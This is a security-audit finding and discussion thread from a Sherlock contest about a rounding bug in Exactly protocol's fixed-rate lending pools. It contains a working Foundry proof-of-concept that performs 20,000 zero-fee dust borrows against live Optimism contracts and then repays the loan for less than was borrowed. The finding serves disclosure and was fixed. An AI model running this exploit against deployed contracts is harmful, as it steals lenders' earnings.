santipu_ - Theft of unassigned earnings from a fixed pool

[sherlock-admin3]

santipu_

high

Theft of unassigned earnings from a fixed pool

Summary

An attacker can borrow a dust amount from a fixed pool to round down the fee to zero, repeating this thousands of times the attacker will get a big fixed loan with 0 fees. If that loan is repaid early, the amount repaid will be lower than the borrowed amount, effectively stealing funds from the unassigned earnings of that fixed pool.

Vulnerability Detail

When a user takes a loan from a fixed pool, the resulting fee is rounded down. An attacker can use this feature to borrow a dust amount from a fixed pool thousands of times to end up with a big fixed loan with 0 fees.

The fee is calculated here:

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L320

fee = assets.mulWadDown(fixedRate.mulDivDown(maturity - block.timestamp, 365 days));

When the borrowed assets are really low, the resulting fee will be rounded down to zero. This by itself is already an issue, but an attacker can use this loan to steal funds from the unassigned earnings.

When a fixed loan is repaid early, it can get a discount that is calculated as if the repaid amount was deposited into that fixed pool. The discount depends on the unassigned earnings of the pool and the proportion that the repaid amount represents in the total fixed debt backed by the floating pool.

When the attacker repays this loan with no interest, he's going to get a discount based on the current unassigned earnings of that pool. This discount will make the attacker repay less funds than he originally borrowed, and those funds will be subtracted from the unassigned earnings of that pool.

Impact

An attacker can steal the unassigned earnings from a fixed pool.

PoC

The following PoC executes this attack on the live contracts of Exactly in the Optimism chain. The test can be pasted into a new file within a forge environment. Also, the .env file must include the variable OPTIMISM_RPC_URL for the test to run. The test can be executed with the following command:

forge test --match-test test_steal_unassigned_earnings --evm-version cancun

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Market} from "protocol/contracts/Market.sol";
import {FixedLib} from "protocol/contracts/utils/FixedLib.sol";
import {Test} from "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TestMarket is Test {
    Market marketUSDC = Market(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);
    Market marketWBTC = Market(0x6f748FD65d7c71949BA6641B3248C4C191F3b322);

    IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
    IERC20 wbtc = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);

    uint256 public optimismFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        optimismFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(optimismFork, vm.activeFork());
    }

    function test_steal_unassigned_earnings() public {
        vm.rollFork(119348257); // Abr 28
        uint256 maturity = 1722470400; // Aug 01
        uint256 liquidity = 100_000e6;
        uint256 borrowAmount = 1e8;

        // Simulate some fixed rate borrows on the WBTC market
        deal(address(usdc), address(this), liquidity);
        usdc.approve(address(marketUSDC), liquidity);
        marketUSDC.deposit(liquidity, address(this));
        marketUSDC.auditor().enterMarket(marketUSDC);
        marketWBTC.borrowAtMaturity(
            maturity,
            borrowAmount,
            type(uint256).max,
            address(this),
            address(this)
        );

        // Attacker deposits liquidity and borrows from the same pool
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        deal(address(wbtc), attacker, 1e8);
        wbtc.approve(address(marketWBTC), type(uint256).max);
        marketWBTC.deposit(1e8, attacker);

        // Attacker borrows a tiny amount to round the fee to 0
        // Doing it lots of times you end up with a big loan with a fee of 0
        for (uint i = 0; i < 20_000; i++) {
            marketWBTC.borrowAtMaturity(
                maturity,
                190,
                type(uint256).max,
                attacker,
                attacker
            );
        }

        (uint256 principal, uint256 fee) = marketWBTC.fixedBorrowPositions(
            maturity,
            attacker
        );

        assertEq(principal, 0.038e8); // Loan of 0.038 WBTC (~2400 USD)
        assertEq(fee, 0);

        // Repay all the loan
        uint256 actualRepayAssets = marketWBTC.repayAtMaturity(
            maturity,
            type(uint256).max,
            type(uint256).max,
            attacker
        );

        assertEq(actualRepayAssets, 0.03786283e8); // Repay 0.037 WBTC

        assertGt(principal, actualRepayAssets); // The attacker has repaid the loan of 0.038 WBTC with 0.037 WBTC
    }
}

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L320

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to not allow borrows with 0 fees from fixed pools. Here is a possible implementation of the fix:

    fee = assets.mulWadDown(fixedRate.mulDivDown(maturity - block.timestamp, 365 days));
+   require(fee > 0);

[santichez]

hey @santipu03 , if I correctly understood the POC, the profit for the attacker is 0.00014 WBTC, right? Considering a $67_000 WBTC price, that would be ~$10. Note that the attacker should've done 20_000 fixed borrow operations.
Can this attack become more profitable? I'd guess you picked WBTC due to the higher value of units and lower decimals.

[MehdiKarimi81]

Escalate

I think the attack is not viable and it should be invalid, the attacker should make thousands of transactions which seems not profitable paying gas fees for unassigned earnings of the pool, also attacker can't take all unassigned earnings since some part of it goes to earning accumulator

[sherlock-admin3]

Escalate

I think the attack is not viable and it should be invalid, the attacker should make thousands of transactions which seems not profitable paying gas fees for unassigned earnings of the pool, also attacker can't take all unassigned earnings since some part of it goes to earning accumulator

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[santipu03]

@santichez In the PoC, the profit for the attacker is 0.001 WBTC (0.038 - 0.037), and that is ~67 USD. Given that the protocol is going to be deployed in some L2s, this attack becomes profitable because the gas fees are incredibly cheap, now more with the Dencun upgrade.

The PoC is limited by the current WBTC pool state on the live contracts on Optimism, but it can become even more profitable when the interest rates are higher. When fixed rates are higher, the unassigned earnings on each pool will be higher, so the attacker will be able to steal more funds with the same iterations.

[0x73696d616f]

Agree that this can not be a high as it is not profitable and it has a very significant number of pre conditions. It is borderline low/medium, but I agree the protocol should always protect itself.

It spends approximately 474883 gas for each borrow (see POC below), which when doing 20_000 times, is 474883*20_000*1e-9 = 9.5 Gwei, at a gas price of 0.00405 is 9.5*0.00405 = 0.0038 ETH, which at current 3100 USD / ETH is 11.78 USD.

Now, the attacker in the POC goes from 0.038 WBTC of loan and repays only 0.03786283 WBTC. The difference is 0.00013717, not 0.001 as @santipu03 mentions. When bitcoin is at a price of 67000, this is 8.2 USD.

So we have settled that this is not profitable. However, it is even worse for the attacker because:

1. Other users will frontrun borrows or worse, the repayment, and steal the fee from the attacker, making him take the loss. Keep in mind that this attack would be sustained for more than 10 minutes so it is likely users will slip in some transactions in between.
2. For this attack to work, it requires having floatingBackupBorrowed > 0 when borrowing / repaying, which is another pre condition.
3. The gas cost was assumed to be only 474883*20_000, which is missing the fact that multiple transactions have to be sent and this would significantly increase gas costs.
4. This attack requires 9497660000 gas or 9497660000 / 30e6 = 316 blocks. I highly doubt gas prices would remain so low after filling 316 blocks. And it's likely Optimism would do something about it as it means the network would be congested for more than 10 minutes.

Given all these conditions and the fact that it is not profitable at current prices, this can never be awared a high severity.

function test_steal_unassigned_earnings() public {
    vm.rollFork(119348257); // Abr 28
    uint256 maturity = 1722470400; // Aug 01
    uint256 liquidity = 100_000e6;
    uint256 borrowAmount = 1e8;

    // Simulate some fixed rate borrows on the WBTC market
    deal(address(usdc), address(this), liquidity);
    usdc.approve(address(marketUSDC), liquidity);
    marketUSDC.deposit(liquidity, address(this));
    marketUSDC.auditor().enterMarket(marketUSDC);
    marketWBTC.borrowAtMaturity(
        maturity,
        borrowAmount,
        type(uint256).max,
        address(this),
        address(this)
    );

    // Attacker deposits liquidity and borrows from the same pool
    address attacker = makeAddr("attacker");
    vm.startPrank(attacker);
    deal(address(wbtc), attacker, 1e8);
    wbtc.approve(address(marketWBTC), type(uint256).max);
    marketWBTC.deposit(1e8, attacker);

    // Attacker borrows a tiny amount to round the fee to 0
    // Doing it lots of times you end up with a big loan with a fee of 0
    //for (uint i = 0; i < 20_000; i++) {
    uint256 initialGas = gasleft(); //
    marketWBTC.borrowAtMaturity(
        maturity,
        0.038e8,
        type(uint256).max,
        attacker,
        attacker
    );
    uint256 gasSpent = initialGas - gasleft();
    assertEq(474883, gasSpent);
    //}

    (uint256 principal, uint256 fee) = marketWBTC.fixedBorrowPositions(
        maturity,
        attacker
    );

    assertEq(principal, 0.038e8); // Loan of 0.038 WBTC (~2400 USD)
    assertEq(fee, 0);

    // Repay all the loan
    uint256 actualRepayAssets = marketWBTC.repayAtMaturity(
        maturity,
        type(uint256).max,
        type(uint256).max,
        attacker
    );

    assertEq(actualRepayAssets, 0.03786283e8); // Repay 0.037 WBTC

    assertGt(principal, actualRepayAssets); // The attacker has repaid the loan of 0.038 WBTC with 0.037 WBTC
}

[santipu03]

I agree that I didn't take into consideration that the attack cannot be executed in just one block, which reduces the effectiveness of the attack.

Still, this attack has two valid impacts:

1. Grief lenders by taking a fixed loan with 0 interest
2. Repay a loan with a lower amount than borrowed

If @etherSky111 or @santiellena don't want to add more information here, I agree that this issue could be considered medium severity.

[cvetanovv]

This issue is Medium severity.

As @0x73696d616f wrote in a comment, the attack is not profitable enough to be high, and there are even conditions that reduce the severity. But it is still profitable and allows a malicious user to take a fixed loan with 0 interest.

Planning to accept the escalation and make this issue a Medium.

[Evert0x]

Result:
Medium
Has Duplicates

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• MehdiKarimi81: accepted

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits:
exactly/protocol#726

[sherlock-admin2]

The Lead Senior Watson signed off on the fix.